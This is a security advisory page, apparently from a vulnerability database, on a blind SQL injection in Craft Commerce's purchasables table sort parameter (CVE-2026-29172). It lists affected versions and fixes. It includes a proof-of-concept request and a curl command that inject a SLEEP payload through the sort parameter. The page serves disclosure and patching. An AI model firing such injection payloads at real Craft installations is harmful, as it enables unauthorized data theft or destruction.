High

Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting

  • Disclosed: 10.03.2026
  • Updated: 11.10.2026 10:22

Summary

Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.


PoC

Required Permissions

  • General
    • Access the control panel
    • Access Craft Commerce
  • Craft Commerce
    • Manage orders
    • Edit orders

Steps to reproduce

  1. Log in to the control panel
  2. Navigate to Commerce > Orders > Create a new order
  3. Click on "Add a line item" to show the purchasables table
  4. Intercept the AJAX request and modify the sort parameter as follows:
http
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc
  1. Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed):

bash
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'

Impact

With this Blind SQLi, an attacker can:

  • Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j).
  • Modify or destroy data (drop tables, update records, alter schema).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package craftcms/commerce >= 4.0.0, < 4.10.2, >= 5.0.0, < 5.5.3 4.10.2, 5.5.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-89
Platform
Composer
Package
craftcms/commerce
Disclosed
10.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-j3x5-mghf-xvfw - CC BY 4.0

Vulnerability history: craftcms/commerce

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (21) in the archive
Total entries
21
First → latest
02.2026 06.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 5
  • Medium 13
  • Low 3

Disclosures per year

  1. 2026: 21
Severity:
  1. High CVE-2026-32271 >= 4.0.0, < 4.10.3, >= 5.0.0, < 5.5.5 4.10.3, 5.5.5
  2. High CVE-2026-32272 >= 5.0.0, < 5.6.0 5.6.0
  3. Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting this entry
    High CVE-2026-29172 >= 4.0.0, < 4.10.2, >= 5.0.0, < 5.5.3 4.10.2, 5.5.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.